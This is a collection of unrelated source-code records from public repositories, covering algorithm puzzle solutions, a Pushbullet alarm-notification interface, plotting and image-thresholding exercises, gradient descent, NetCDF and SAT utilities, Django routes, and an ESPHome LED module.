queue = [root]\n res = [[root.val]]\n while queue:\n # node = queue.pop(0)\n tmp = []\n \"\"\"需要将加入queue中的二叉树节点都弹尽遍历完毕,加上for循环\"\"\"\n for _ in range(len(queue)):\n node = queue.pop(0)\n if node.left:\n queue.append(node.left)\n tmp.append(node.left.val)\n if node.right:\n queue.append(node.right)\n tmp.append(node.right.val)\n if tmp:\n res.append(tmp)\n return res","repo_name":"zhao8445/leetcode","sub_path":"Solution/102.levelOrder.py","file_name":"102.levelOrder.py","file_ext":"py","file_size_in_byte":915,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} +{"seq_id":"14396152102","text":"# -*- coding: utf-8 -*-\nimport asyncio\nimport json\nimport logging\nimport time\n\nfrom pushbullet import Pushbullet\nfrom ws4py.client import WebSocketBaseClient\nfrom ws4py.manager import WebSocketManager\n\nfrom paradox.config import config as cfg\nfrom paradox.event import EventLevel, Notification\nfrom paradox.interfaces.text.core import ConfiguredAbstractTextInterface\nfrom paradox.lib import ps\n\n# Pushbullet interface.\n# Only exposes critical status changes and accepts commands\n\nlogger = logging.getLogger(\"PAI\").getChild(__name__)\n\n\nclass PushBulletWSClient(WebSocketBaseClient):\n name = \"pushbullet\"\n\n def __init__(self, interface, url):\n \"\"\" Initializes the PB WS Client\"\"\"\n super().__init__(url)\n\n self.pb = Pushbullet(cfg.PUSHBULLET_KEY)\n self.manager = WebSocketManager()\n self.interface = interface\n\n self.device = None\n for i, device in enumerate(self.pb.devices):\n if device.nickname == cfg.PUSHBULLET_DEVICE:\n logger.debug(\"Device found\")\n self.device = device\n break\n else:\n logger.exception(\"Device not found. Creating 'pai' device\")\n self.device = self.pb.new_device(nickname=\"pai\", icon=\"system\")\n\n def stop(self):\n self.terminate()\n self.manager.stop()\n\n def handshake_ok(self):\n \"\"\" Callback trigger when connection succeeded\"\"\"\n logger.info(\"Handshake OK\")\n self.manager.add(self)\n self.manager.start()\n for chat in self.pb.chats:\n logger.debug(\"Associated contacts: {}\".format(chat))\n\n # Receiving pending messages\n self.received_message(json.dumps({\"type\": \"tickle\", \"subtype\": \"push\"}))\n\n self.send_message(\"Active\")\n\n def received_message(self, message):\n \"\"\" Handle Pushbullet message. It should be a command \"\"\"\n logger.debug(\"Received Message {}\".format(message))\n\n try:\n message = json.loads(str(message))\n except:\n logger.exception(\"Unable to parse message\")\n return\n\n if message[\"type\"] == \"tickle\" and message[\"subtype\"] == \"push\":\n now = time.time()\n pushes = self.pb.get_pushes(\n modified_after=int(now) - 20, limit=1, filter_inactive=True\n )\n for p in pushes:\n\n # Ignore messages send by us\n if p.get(\"direction\") == \"self\" and p.get(\"title\") == \"pai\":\n # logger.debug('Ignoring message sent')\n continue\n\n if p.get(\"direction\") == \"outgoing\" or p.get(\"dismissed\"):\n # logger.debug('Ignoring outgoing dismissed')\n continue\n\n if (\n p.get(\"sender_email_normalized\") in cfg.PUSHBULLET_CONTACTS\n or p.get(\"direction\") == \"self\"\n ):\n future = asyncio.run_coroutine_threadsafe(\n self.interface.handle_command(p.get(\"body\")),\n self.interface.alarm.work_loop,\n )\n ret = future.result(10)\n\n m = \"PB {}: {}\".format(p.get(\"sender_email_normalized\"), ret)\n logger.info(m)\n else:\n m = \"PB {} (UNK): {}\".format(\n p.get(\"sender_email_normalized\"), p.get(\"body\")\n )\n logger.warning(m)\n\n self.send_message(m)\n ps.sendNotification(\n Notification(sender=self.name, message=m, level=EventLevel.INFO)\n )\n\n def unhandled_error(self, error):\n logger.error(\"{}\".format(error))\n\n try:\n self.terminate()\n except:\n logger.exception(\"Closing Pushbullet WS\")\n\n self.close()\n\n def send_message(self, msg, dstchat=None):\n if dstchat is None:\n dstchat = self.pb.chats\n\n if not isinstance(dstchat, list):\n dstchat = [dstchat]\n # Push to self\n self.device.push_note(cfg.PUSHBULLET_DEVICE, msg)\n\n for chat in dstchat:\n if chat.email in cfg.PUSHBULLET_CONTACTS:\n try:\n self.pb.push_note(cfg.PUSHBULLET_DEVICE, msg, chat=chat)\n except:\n logger.exception(\"Sending message\")\n time.sleep(5)\n\n\nclass PushbulletTextInterface(ConfiguredAbstractTextInterface):\n \"\"\"Interface Class using Pushbullet\"\"\"\n\n def __init__(self, alarm):\n super().__init__(\n alarm,\n cfg.PUSHBULLET_EVENT_FILTERS,\n cfg.PUSHBULLET_ALLOW_EVENTS,\n cfg.PUSHBULLET_IGNORE_EVENTS,\n cfg.PUSHBULLET_MIN_EVENT_LEVEL,\n )\n self.name = PushBulletWSClient.name\n self.pb_ws = None\n\n def _run(self):\n super(PushbulletTextInterface, self)._run()\n try:\n self.pb_ws = PushBulletWSClient(\n self,\n \"wss://stream.pushbullet.com/websocket/{}\".format(cfg.PUSHBULLET_KEY),\n )\n self.pb_ws.connect()\n except:\n logger.exception(\"Could not connect to Pushbullet service\")\n\n logger.info(\"Pushbullet Interface Started\")\n\n def stop(self):\n \"\"\" Stops the Pushbullet interface\"\"\"\n super().stop()\n if self.pb_ws is not None:\n self.pb_ws.stop()\n\n def send_message(self, message: str, level: EventLevel):\n if self.pb_ws is not None:\n self.pb_ws.send_message(message)\n","repo_name":"ParadoxAlarmInterface/pai","sub_path":"paradox/interfaces/text/pushbullet.py","file_name":"pushbullet.py","file_ext":"py","file_size_in_byte":5599,"program_lang":"python","lang":"en","doc_type":"code","stars":307,"dataset":"github-code","pt":"47"} +{"seq_id":"70203331343","text":"lines = []\nbatches = []\nbatch = []\nwith open('puzzle_input/day4/input.txt') as f:\n batch = []\n for line in f:\n if line.strip() == \"\":\n batches.append(batch)\n batch = []\n else:\n batch += line.strip().split(' ')\nbatches.append(batch)\nreq = ['hgt','hcl','ecl','pid','byr','iyr','eyr']\nopt = ['cid']\n\nvalid = 0\nfor batch in batches:\n d = {}\n nope=False\n for cmd in batch:\n l = cmd.split(':')\n cmd = l[0]\n val = l[1]\n d[cmd]=val\n\n for r in req:\n if r not in d:\n nope=True\n break\n nope=False\n if not nope:\n valid +=1\n\nprint(valid)\n\n","repo_name":"IJumpAround/advent_of_code_2020","sub_path":"day4.py","file_name":"day4.py","file_ext":"py","file_size_in_byte":665,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} +{"seq_id":"20132426524","text":"from matplotlib import pyplot as plt\nimport numpy as np \nimport random\ntry : \n x\n years = [1950, 1960, 1970, 1980, 1990, 2000, 2010]\n gdp = [300.2, 543.3, 1075.9, 2862.5, 5979.6, 400.6, 14958.3]\n\n # create a line chart, years on x-axis, gdp on y-axis\n plt.plot(years, gdp, color='green', marker='x', linestyle='solid')\n\n # add a title\n plt.title(\"Nominal GDP\")\n\n # add a label to the y-axis\n plt.ylabel(\"Billions of $\")\n plt.xlabel(\"MONEY\")\n plt.show()\n\n # label x-axis with movie names at bar centers\n plt.bar(range(len(years)), gdp)\n plt.xticks(range(len(years)), years)\n\n plt.show()\n from collections import Counter\n grades = [83, 95, 91, 87, 70, 0, 85, 82, 100, 67, 73, 77, 0]\n\n # Bucket grades by decile, but put 100 in with the 90s\n histogram = Counter(min(grade // 10 * 10, 90) for grade in grades)\n print(histogram)\n\n plt.bar([x + 5 for x in histogram.keys()], # Shift bars right by 5\n histogram.values(), # Give each bar its correct height\n 10, # Give each bar a width of 10\n edgecolor=(0, 0, 0)) # Black edges for each bar\n\n plt.axis([-5, 105, 0, 5]) # x-axis from -5 to 105,\n # y-axis from 0 to 5\n\n plt.xticks([10 * i for i in range(11)]) # x-axis labels at 0, 10, ..., 100\n plt.xlabel(\"Decile\")\n plt.ylabel(\"# of Students\")\n plt.title(\"Distribution of Exam 1 Grades\")\n plt.show()\n\n # #line graph\n# plt.plot(x,y,marker='o', color = 'red',linestyle = 'solid')\n# plt.title('this is the code')\n# plt.show()\n\n# #bar graph\n# plt.bar(x,y) \n# plt.xticks(x,y) #shows values for all the raise in bars \n# plt.show()\n\n x = [500,505]\n\n y = [2017,2018]\n print(x,y)\n\n plt.bar(y,x,0.8) \n plt.xticks(y)\n # plt.ticklabel_format(useoffset=False) \n plt.ticklabel_format(useOffset=False)\n # plt.ticklabel_format(useOffset=False)\n plt.axis([2016.5,2018.5,495,506])\n plt.show()\n\n plt.axis([2016.5,2018.5,0,506])\n plt.show()\n # mentions = [500, 505]\n # years = [2017, 2018]\n\n # plt.bar(years, mentions, 0.8)\n # plt.xticks(years)\n # plt.ylabel(\"# of times I heard someone say 'data science'\")\n\n # # if you don't do this, matplotlib will label the x-axis 0, 1\n # # and then add a +2.013e3 off in the corner (bad matplotlib!)\n # plt.ticklabel_format(useOffset=False)\n\n # # misleading y-axis only shows the part above 500\n # plt.axis([2016.5, 2018.5, 499, 506])\n # plt.title(\"Look at the 'Huge' Increase!\")\n # plt.show()\n\n\nexcept:\n a = 1\n\n# v= [1, 2, 4, 8, 16, 32, 64, 128, 256]\n# b = [256, 128, 64, 32, 16, 8, 4, 2, 1]\n# total_error = [x + y for x, y in zip(v,b)]\n# print(total_error)\n# xs =[i for i, _ in enumerate(v)]\n# print(xs)\n# plt.plot(xs, v,'g-', label='v')\n# plt.plot(xs, b, 'r-.', label='bias^2')\n# plt.plot(xs, total_error,'b:',label='total error')\n# plt.legend(loc=5)\n# plt.xlabel(\"model complexity\")\n# plt.xticks([])\n# plt.title(\"The Bias-v Tradeoff\")\n# plt.show()\n\n\nx= random.sample(range(1, 100), 10)\nprint(x)\ny= random.sample(range(1, 100), 10)\ny.reverse()\nprint(y)\ntotalerror = [u+v for u,v in zip(x,y)]\nprint(totalerror)\nxs = [ i for i,_ in enumerate(x)]\n\nplt.plot(xs,x,'g-',label='xxx')\nplt.plot(xs,y,'b-.',label = 'yyy')\nplt.plot(xs,totalerror,'r:',label = 'error')\nplt.legend(loc=9)\nplt.xticks([])\nplt.show()","repo_name":"dubblin27/pythonfordatascience","sub_path":"matplotlib1.py","file_name":"matplotlib1.py","file_ext":"py","file_size_in_byte":3433,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} +{"seq_id":"13875841535","text":"# https://codeforces.com/contest/1352/problems\r\n\r\n# 13 mins to solve; Good use of double ended queue data structure\r\n\r\nt = int(input())\r\nfrom collections import deque\r\nfor _ in range(t):\r\n n = int(input())\r\n sizes = deque(map(int, input().split()))\r\n\r\n alice = 0\r\n bob = 0\r\n moves = 0\r\n last_round = 0\r\n\r\n while sizes:\r\n if moves == 0:\r\n moves += 1\r\n alice += sizes.popleft()\r\n last_round = alice\r\n if len(sizes) == 0:\r\n break\r\n continue\r\n\r\n if moves%2 == 1:\r\n # bob\r\n temp = 0\r\n while temp<=last_round and sizes:\r\n temp += sizes.pop()\r\n \r\n last_round = temp\r\n moves += 1\r\n bob += temp\r\n\r\n if len(sizes) == 0:\r\n break\r\n continue\r\n\r\n if moves%2 == 0:\r\n # alice\r\n temp = 0\r\n while temp<=last_round and sizes:\r\n temp += sizes.popleft()\r\n \r\n last_round = temp\r\n moves += 1\r\n alice += temp\r\n if len(sizes) == 0:\r\n break\r\n continue\r\n\r\n print(moves, alice, bob)\r\n","repo_name":"anoubhav/Codeforces-Atcoder-Codechef-solutions","sub_path":"Codeforces/640 Div 4/D.py","file_name":"D.py","file_ext":"py","file_size_in_byte":1229,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} +{"seq_id":"14425301089","text":"\"\"\"\nUtility functions to read and parse regional hierarchy CSV files\n\"\"\"\n\nfrom csv import reader as csvreader\nfrom anytree import Node\n\n\ndef _parse_csv_buffer(b, skiplines):\n reader = csvreader(b)\n\n root = Node(\n name=\"World\",\n region_key=\"World\",\n parent_key=\"\",\n namelong=\"World\",\n alternatives=\"\",\n is_terminal=\"\",\n gadmin=\"\",\n agglomid=\"\",\n notes=\"\",\n )\n nodes = {\"World\": root}\n\n for ln in reader:\n if reader.line_num <= skiplines:\n continue\n\n region_key = str(ln[0])\n parent_key = str(ln[1])\n\n nodes[region_key] = Node(\n name=region_key,\n parent=nodes[parent_key],\n region_key=region_key,\n parent_key=parent_key,\n namelong=str(ln[2]),\n alternatives=str(ln[3]),\n is_terminal=str(ln[4]),\n gadmin=str(ln[5]),\n agglomid=str(ln[6]),\n notes=str(ln[7]),\n )\n return root\n\n\ndef read_hierarchy(path_or_buffer, skiplines=32):\n \"\"\"Read a region hierarchy CSV file, return hier root\n \"\"\"\n root = None\n if isinstance(path_or_buffer, str):\n with open(path_or_buffer, \"r\") as fl:\n root = _parse_csv_buffer(fl, skiplines=skiplines)\n else:\n root = _parse_csv_buffer(path_or_buffer, skiplines=skiplines)\n return root\n","repo_name":"brews/dalia","sub_path":"dalia/hierarchy.py","file_name":"hierarchy.py","file_ext":"py","file_size_in_byte":1384,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"47"} +{"seq_id":"27259535726","text":"\"\"\"\n나무 자르기\n@Author : yeonjoo cho\n@contact : wormjoo@naver.com\n\"\"\"\nn, m = map(int, input().split())\ntrees = list(map(int, input().split()))\n\nstart = 0\nend = max(trees)\nresult = 0\n\nwhile start <= end:\n total = 0\n mid = (start + end) // 2\n for tree in trees:\n if tree > mid:\n total += tree - mid\n if total < m:\n end = mid - 1\n else:\n result = mid\n start = mid + 1\n \nprint(result)\n","repo_name":"SeungYongChoi/Algorithm_Dev_StudyGroup","sub_path":"Week_1/조연주/[boj]2805.py","file_name":"[boj]2805.py","file_ext":"py","file_size_in_byte":444,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"47"} +{"seq_id":"22839290216","text":"\"\"\"\nUseful generic decorators\n\"\"\"\n\nfrom time import time\n\n\n# From https://medium.com/pythonhive/python-decorator-to-measure-the-execution-time-of-methods-fa04cb6bb36d\ndef timeit(method):\n def timed(*args, **kw):\n ts = time()\n result = method(*args, **kw)\n te = time()\n if 'log_time' in kw:\n name = kw.get('log_name', method.__name__.upper())\n kw['log_time'][name] = int((te - ts) * 1000)\n else:\n print(\"{} {:2.6f} s\".format(method.__name__, te - ts))\n return result\n return timed\n","repo_name":"bismuthfoundation/BismuthCore","sub_path":"bismuthcore/bismuthcore/decorators.py","file_name":"decorators.py","file_ext":"py","file_size_in_byte":562,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"47"} +{"seq_id":"14174076462","text":"###########################################################################################################################\n# Title: Gradient Descent Algorithm\n# Date: 02/13/2019, Wednesday\n# Author: Minwoo Bae (minwoo.bae@uconn.edu)\n# Institute: The Department of Computer Science and Engineering, UCONN\n###########################################################################################################################\nimport numpy as np\nfrom numpy.linalg import inv, norm\nfrom numpy import transpose as T\nfrom numpy import dot, exp, add, sum, random, abs\nfrom numpy import array as vec\n\n# The Closed form solution to computer coefficients vector w for the linear model:\ndef closed_form(features, response):\n\n vars = features\n resp = response\n coeffs = inv(vars.T.dot(vars)).dot(vars.T).dot(resp)\n\n return coeffs\n\n# Compute a loss function E(w):\ndef loss_function(features, response, coefficients):\n\n RSS = 0\n vars = features\n resp = response\n coeffs = coefficients\n\n RSS = ((resp - vars.dot(coeffs)).T).dot(resp - vars.dot(coeffs))\n\n return RSS\n\n\n# Compute the gradient of E(w) at w_k\ndef get_gradient(features, response, coefficients):\n\n vars = features\n resp = response\n coeffs = coefficients\n\n gradient = -2*vars.T.dot((resp - vars.dot(coeffs)))\n\n return gradient\n\n# Compute the argmin w by using gradient descent algorithm:\ndef get_argmin_w(features, response, init_coeffs, step_size):\n\n k = 0\n vars = features\n resp = response\n w_temp = init_coeffs\n a_k = step_size\n\n error = 0.1\n epsilon = 1e-10 #0.0000000000001\n\n while epsilon < error:\n w_k = w_temp\n gradient = get_gradient(vars, resp, w_k)\n d_k = -gradient\n w_temp = w_k + a_k*d_k\n error = abs(loss_function(vars, resp, w_temp) - loss_function(vars, resp, w_k))\n\n print(w_temp)\n print(error)\n\n return w_temp\n\n\n#Given data matrices:\nX = np.array([[1, 1, 1], [1, 2, 3]]).T\ny = np.array([2, 3, 5]).T\n\n#Initial guess for w_0:\nw_0 = np.array([0.3,1.4]).T\n\n#Set a step size:\nstep = 10**(-5)\n\n#Compute a gradient descent algorithm:\nargmin_w = get_argmin_w(X, y, w_0, step)\nprint('Optimal solution w^* by the Gradient descent algorithm:')\nprint(argmin_w)\n\n#Compute an optimal solution by the closed form:\nc_argmin_w = closed_form(X, y)\nprint('Optimal solution w^* by the closed form:')\nprint(c_argmin_w)\n","repo_name":"minubae/gradient_descent_algorithm","sub_path":"gradient_descent.py","file_name":"gradient_descent.py","file_ext":"py","file_size_in_byte":2388,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} +{"seq_id":"72580205263","text":"\n\"\"\" Module that handles functions relative to NetCDF files \"\"\"\n\n\ndef copy_ncstruct(fin, fout):\n\n \"\"\" Copy the internal structure of a NetCDF file. \n\n It copies the dimension names, variable names and attributes\n from a file to another file. \n\n :param netCDF4.Dataset fin: Source file\n :param netCDF4.Dataset fout: Destination file\n \n .. note :: The file contents are not copied! Only the structure of the file\n\n .. code-block :: python \n\n from netCDF4 import Dataset\n import envtoolkit.nc\n\n fin = Dataset(\"source_file.nc\", \"r\")\n fout = Dataset(\"dest_file.nc\", \"w\")\n\n # copy the dimensions/variables/attributes of\n # the source file into the dest file\n envtoolkit.nc.copy_ncstruct(fin, fout)\n \n # Fill in the variable of the destination file\n\n # closing the files\n fin.close()\n fout.close()\n\n :param netCDF4.Dataset fin: the source file\n\n :param netCDF4.Dataset fout: the destination file\n \"\"\"\n\n # Working on the dimensions\n dim = fin.dimensions\n for dimname, dimval in zip(dim.keys(), dim.values()):\n if dimval.isunlimited():\n # If record dimension, then we also set\n # the output dimension to unlimited\n fout.createDimension(dimname, None)\n else:\n # len(v) is the way to recover the value of the dimension\n # cf. netCDF4 documentation\n fout.createDimension(dimname, len(dimval))\n\n # Working on the variables\n var = fin.variables\n for varname, varval in zip(var.keys(), var.values()):\n # we create a variable of the same\n # type and dimensions as in the input file\n fout.createVariable(varname, varval.datatype, varval.dimensions)\n vout = fout.variables[varname]\n\n # we loop over the variable attributes\n # varval.ncattrs -> recover the attribute names (\"units\", etc)\n for attr in varval.ncattrs():\n vout.setncattr(attr, getattr(varval, attr))\n\n # We do the same thing for the global (file) attributes\n for attr in fin.ncattrs():\n fout.setncattr(attr, getattr(fin, attr))\n\n\ndef extract_date(fin, timevar_name=\"time\", units=None, calendar='gregorian', timeoff=0):\n\n \"\"\" Converts the time array of a NetCDF file into a date.\n\n :param netCDF4.Dataset fin: the NetCDF file\n :param str timevar_name: the name of the time variable\n :param str units: the time units (used only if no time units in the\n the file)\n :param str calendar: the time calendar (used only if no time units in the \n the file)\n :param float timeoff: A time offset that is *added* to the time array\n\n :return: an array of :py:class:`datetime.datetime` object\n :rtype: numpy.array\n\n \"\"\"\n\n from netcdftime import utime\n\n try:\n # try to extract the time variable from the file\n timevar = fin.variables[timevar_name]\n except:\n raise IOError(\"The %s variable does not exist in the input file\" % timevar_name)\n\n # check the existence of the units attribute\n if \"units\" in timevar.ncattrs():\n units = getattr(timevar, 'units')\n else:\n # if no time units, we check that the unit argument is set, and that it is in right format\n if units is None:\n raise IOError(\"No time units provided in the file. Provide the units as an argument\")\n else:\n if not isinstance(units, str):\n raise ValueError(\"The units argument must be a string\")\n \n # check the existence of the calendar attribute\n if \"calendar\" in timevar.ncattrs():\n calendar = getattr(timevar, 'calendar')\n else:\n # if no time calendar, we check that the unit argument is set, and that it is in right format\n if calendar is None:\n print('No calendar provided. Gregorian calendar is used')\n calendar = 'gregorian'\n else:\n if not isinstance(calendar, str):\n raise ValueError(\"The calendar argument must be a string\")\n\n # creates the utime object for conversion\n cdftime = utime(units, calendar=calendar)\n\n # conversion of numerics into date\n date = cdftime.num2date(timevar[:] + timeoff)\n\n return date\n","repo_name":"barriern/Environmental-toolkit","sub_path":"envtoolkit/nc.py","file_name":"nc.py","file_ext":"py","file_size_in_byte":4239,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"47"} +{"seq_id":"2048836899","text":"'''\n\n'''\nimport os\nimport json\nimport sys\nimport traceback\nimport cv2\nimport numpy as np\n\nfix_w = 5000\nfix_h = 5000\n\n\ndef API(file_path, output_path, filename, error_count):\n result = {}\n result[\"events\"] = []\n img_ = np.full((fix_h, fix_w, 3), (255, 255, 255), np.uint8)\n with open(file_path, 'r') as f:\n try:\n data = json.load(f)\n for i, x in enumerate(data):\n # print(\"2: %d\" % len(x['strokes']))\n for j, y in enumerate(x['strokes']):\n # print(y)\n # print(\"3: %d\" % len(y))\n temp_dict = {}\n temp_dict[\"pointerType\"] = \"PEN\"\n temp_dict[\"pointerId\"] = (\"1\")\n x_list = []\n y_list = []\n p_list = []\n t_list = []\n for k, z in enumerate(y):\n x_list.append(z[0])\n y_list.append(z[1])\n p_list.append(z[2])\n t_list.append(z[3])\n temp_dict[\"x\"] = x_list\n temp_dict[\"y\"] = y_list\n temp_dict[\"p\"] = p_list\n temp_dict[\"t\"] = t_list\n result[\"events\"].append(temp_dict)\n except:\n traceback.print_exc()\n error_count += 1\n\n out = open(output_path + \"/\" + filename + \".json\", \"w\", encoding=\"utf-8\")\n json.dump(result, out)\n\n # 顺便把删除相同点后的图片渲染一下\n for i, x in enumerate(result[\"events\"]):\n for j, y in enumerate(x['x']):\n if j == 0:\n continue\n cv2.line(img_, (x['x'][j - 1], x['y'][j - 1]), (x['x'][j], x['y'][j]), (0, 0, 0), 2)\n cv2.imwrite(output_path + \"/\" + filename + \".jpg\", img_)\n\n return error_count\n\n\nimport os\n\nif __name__ == '__main__':\n work_dir = './cloudpen/'\n output_path = \"./output\"\n total = 0\n error_count = 0\n if not os.path.exists(output_path):\n os.makedirs(output_path)\n for parent, dirnames, filenames in os.walk(work_dir, followlinks=True):\n for i, filename in enumerate(filenames):\n file_path = os.path.join(parent, filename)\n if filename[-3:] == \"pix\":\n error_count = API(file_path, output_path, filename, error_count)\n total += 1\n print(\"%s done\" % str(total))\n # print('文件名:%s' % filename)\n # print('文件完整路径:%s\\n' % file_path)\n\no = open(output_path + \"/error_rate.txt\", \"w\")\ntemp = str(float(error_count) / total)\nprint(\"错误率:%s\" % temp)\no.write(temp)\no.write(\"\\n\")\no.close()\n","repo_name":"liuyongjie985/HandWrite","sub_path":"transform_total.py","file_name":"transform_total.py","file_ext":"py","file_size_in_byte":2705,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} +{"seq_id":"6820810886","text":"import cv2 as cv\r\nimport numpy as np\r\n\r\nimg = cv.imread(\"gradient.png\", 0)\r\n_, th1 = cv.threshold(img, 50, 255, cv.THRESH_BINARY)\r\n_, th2 = cv.threshold(img, 200, 255, cv.THRESH_BINARY_INV)\r\n#duy tri pixel 127 not change từ pixel127\r\n_, th3 = cv.threshold(img, 127, 255, cv.THRESH_TRUNC)\r\n# pixel <127 >> zero:black , > 127 giữ nguyên\r\n_, th4 = cv.threshold(img, 127, 255, cv.THRESH_TOZERO)\r\n_, th5 = cv.threshold(img, 127, 255, cv.THRESH_TOZERO_INV)\r\n\r\n\r\ncv.imshow(\"Image\", img)\r\ncv.imshow(\"th1\", th1)\r\ncv.imshow(\"th2\", th2)\r\ncv.imshow(\"th3\", th3)\r\ncv.imshow(\"th4\", th4)\r\ncv.imshow(\"th5\", th5)\r\ncv.waitKey(0)\r\ncv.destroyAllWindows()\r\n'''\r\nTHRESH_BINARY: Có thể dịch là ngưỡng nhị phân. Ý nghĩa y hệt những gì mình đề cập ở trên.\r\n\r\nTHRESH_BINARY_INV: Ngưỡng nhị phân đảo ngược. Có thể hiểu là nó sẽ đảo ngược lại kết quả của THRESH_BINARY.\r\n\r\nTHRESH_TRUNC: Những giá trị điểm ảnh bé hơn ngưỡng sẽ giữ nguyên giá trị, những điểm ảnh lớn hơn hoặc ngưỡng sẽ được gán lại là maxvalue.\r\n\r\nTHRESH_TOZERO: Những điểm ảnh bé hơn ngưỡng sẽ bị gán thành 0, những điểm còn lại giữ nguyên.\r\n\r\nTHRESH_TOZERO_INV: Những điểm ảnh nhỏ hơn giá trị ngưỡng sẽ được giữ nguyên, những điểm ảnh còn lại sẽ bị gán thành 0.\r\n\r\nTHRESH_MASK: Ở bạn opencv4, hầu như không được xài.\r\n\r\nTHRESH_OTSU: Sử dụng thuật toán Otsu để xác định giá trị ngưỡng.\r\n\r\nTHRESH_TRIANGLE: Sử dụng thuật toán Triangle để xác định giá trị ngưỡng.\r\n'''","repo_name":"NgTuong24/hoc_openCV","sub_path":"v15_Thresholding.py","file_name":"v15_Thresholding.py","file_ext":"py","file_size_in_byte":1643,"program_lang":"python","lang":"vi","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} +{"seq_id":"11181548301","text":"import random\nfrom typing import List, Dict\n\nfrom Model.SAT.SatClause import SatClause\nfrom Model.SAT.SatConfiguration import SatConfiguration\n\n\nclass SatInstance:\n\n id: int\n varCnt: int\n clausesCnt: int\n varWeights: Dict[int, int]\n clauses: List[SatClause]\n\n def __init__(self, inx: int):\n self.id = inx\n self.varWeights = {}\n self.clauses = []\n\n # Evaluate the whole boolean expression\n def evaluate(self, conf: SatConfiguration) -> bool:\n for clause in self.clauses:\n if not clause.evaluate(conf):\n return False\n return True\n\n # Count number of satisfied clauses within the boolean expression\n def countSatisfiedClauses(self, conf: SatConfiguration) -> int:\n cnt: int = 0\n for clause in self.clauses:\n if clause.evaluate(conf):\n cnt += 1\n return cnt\n\n # Count number of satisfied clauses within the boolean expression and get list of unsatisfied vars\n def satisfiedClausesUnsatisfiedVars(self, conf: SatConfiguration) -> [int, List[int]]:\n cnt: int = 0\n unsatisfiedVars: List[int] = []\n for clause in self.clauses:\n if clause.evaluate(conf):\n cnt += 1\n else:\n for var in clause.literals.keys():\n unsatisfiedVars.append(var)\n return [cnt, unsatisfiedVars]\n\n # Calculate price of the given configuration\n def calculatePrice(self, conf: SatConfiguration) -> int:\n price: int = 0\n for var in conf.values.keys():\n if conf.values[var] is True:\n price += self.varWeights[var]\n return price\n\n # Set weights from List into instance weight dictionary\n def setVarWeights(self, weights: List[int]):\n i: int = 1\n for w in weights:\n self.varWeights[i] = w\n i += 1\n\n def getRandomVarInx(self) -> int:\n return random.randint(1, self.varCnt)\n\n def serialize(self):\n return {\n \"varWeights\": self.varWeights,\n \"clauses\": [clause.serialize() for clause in self.clauses]\n }\n","repo_name":"petr-pondelik/fit-ctu-ni-kop","sub_path":"homework/hw5/src/Model/SAT/SatInstance.py","file_name":"SatInstance.py","file_ext":"py","file_size_in_byte":2143,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} +{"seq_id":"21192665747","text":"from django.urls import path\r\nfrom . import views\r\n\r\n\r\nurlpatterns = [\r\n path('', views.registration, name='Register'),\r\n path('Login', views.login, name='Login'),\r\n path('Information', views.info, name='Info'),\r\n path('Congratulations', views.Congrat, name='Congratulations'),\r\n path('MainPage', views.Main, name='Main'),\r\n path('PainIntensity', views.intensity, name='PainIntensity'),\r\n path('sw.js', views.ServiceWorkerView.as_view(), name=views.ServiceWorkerView.name,)\r\n]","repo_name":"Twinkkkie/MedApp","sub_path":"MedApp/paintrack/MedMain/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":497,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} +{"seq_id":"2412688991","text":"import esphome.codegen as cg\nimport esphome.config_validation as cv\nfrom esphome import pins\nfrom esphome.components import light\nfrom esphome.const import (\n CONF_CHANNEL,\n CONF_CLOCK_PIN,\n CONF_DATA_PIN,\n CONF_METHOD,\n CONF_NUM_LEDS,\n CONF_PIN,\n CONF_TYPE,\n CONF_VARIANT,\n CONF_OUTPUT_ID,\n CONF_INVERT,\n)\nfrom esphome.components.esp32 import get_esp32_variant\nfrom esphome.components.esp32.const import (\n VARIANT_ESP32C3,\n VARIANT_ESP32S3,\n)\nfrom esphome.core import CORE\nfrom ._methods import (\n METHODS,\n METHOD_SPI,\n METHOD_ESP8266_UART,\n METHOD_BIT_BANG,\n METHOD_ESP32_I2S,\n METHOD_ESP32_RMT,\n METHOD_ESP8266_DMA,\n)\nfrom .const import (\n CHIP_TYPES,\n CONF_ASYNC,\n CONF_BUS,\n ONE_WIRE_CHIPS,\n)\n\nneopixelbus_ns = cg.esphome_ns.namespace(\"neopixelbus\")\nNeoPixelBusLightOutputBase = neopixelbus_ns.class_(\n \"NeoPixelBusLightOutputBase\", light.AddressableLight\n)\nNeoPixelRGBLightOutput = neopixelbus_ns.class_(\n \"NeoPixelRGBLightOutput\", NeoPixelBusLightOutputBase\n)\nNeoPixelRGBWLightOutput = neopixelbus_ns.class_(\n \"NeoPixelRGBWLightOutput\", NeoPixelBusLightOutputBase\n)\nESPNeoPixelOrder = neopixelbus_ns.namespace(\"ESPNeoPixelOrder\")\nNeoRgbFeature = cg.global_ns.NeoRgbFeature\nNeoRgbwFeature = cg.global_ns.NeoRgbwFeature\n\n\ndef validate_type(value):\n value = cv.string(value).upper()\n if \"R\" not in value:\n raise cv.Invalid(\"Must have R in type\")\n if \"G\" not in value:\n raise cv.Invalid(\"Must have G in type\")\n if \"B\" not in value:\n raise cv.Invalid(\"Must have B in type\")\n rest = set(value) - set(\"RGBW\")\n if rest:\n raise cv.Invalid(f\"Type has invalid color: {', '.join(rest)}\")\n if len(set(value)) != len(value):\n raise cv.Invalid(\"Type has duplicate color!\")\n return value\n\n\ndef _choose_default_method(config):\n if CONF_METHOD in config:\n return config\n config = config.copy()\n if CONF_PIN not in config:\n config[CONF_METHOD] = _validate_method(METHOD_SPI)\n return config\n\n pin = config[CONF_PIN]\n if CORE.is_esp8266:\n if 